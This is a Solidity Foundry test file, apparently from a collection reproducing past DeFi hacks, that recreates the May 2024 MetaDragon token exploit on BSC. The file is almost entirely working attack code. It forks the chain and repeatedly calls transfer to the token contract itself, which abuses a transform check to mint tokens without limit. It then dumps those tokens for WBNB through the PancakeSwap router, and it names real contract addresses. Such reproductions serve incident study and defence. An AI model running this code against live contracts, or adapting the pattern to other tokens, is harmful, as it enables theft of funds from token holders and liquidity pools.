src/test/2024-05/MetaDragon_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// Profit : ~180K USD
8// TX : https://app.blocksec.com/explorer/tx/bsc/0x3ad998a01ad1f1bbe6dba6a08e658c1749dabfa4a07da20ded3c73bcd6970d20
9// GUY : https://x.com/Phalcon_xyz/status/1795746828064854497
10// Vuln Contract: https://bscscan.com/address/0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f
11 
12// Root Cause: ```if (to == address(this) || to == erc721) {transform(value);}``` allows for unrestricted minting
13 
14address constant meta_token = 0xEF1f39d8391cdDcaee62b8b383cB992F46a6ce4f;
15address constant router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
16address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
17 
18contract MetaDragonTest is Test {
19    uint256 endTokenId = 40;
20 
21    function setUp() external {
22        vm.createSelectFork("bsc", 39_141_426);
23    }
24 
25    function testExploit() public balance_log {
26        for (uint256 i = 0; i < endTokenId; i++) {
27            bytes memory calldatas = abi.encodeWithSignature("transfer(address,uint256)", meta_token, i);
28            // don't check return value
29            meta_token.call(calldatas);
30        }
31        emit log_named_uint("attacker MetaToken balance", IERC20(meta_token).balanceOf(address(this)));
32 
33        IERC20(meta_token).approve(router, type(uint256).max);
34        address[] memory paths = new address[](2);
35        paths[0] = meta_token;
36        paths[1] = wbnb;
37 
38        IUniswapV2Router(payable(router)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
39            IERC20(meta_token).balanceOf(address(this)), 0, paths, address(this), block.timestamp
40        );
41    }
42 
43    modifier balance_log() {
44        emit log_named_uint("attacker weth balance before", IERC20(wbnb).balanceOf(address(this)));
45        _;
46        emit log_named_uint("attacker weth balance after", IERC20(wbnb).balanceOf(address(this)));
47    }
48}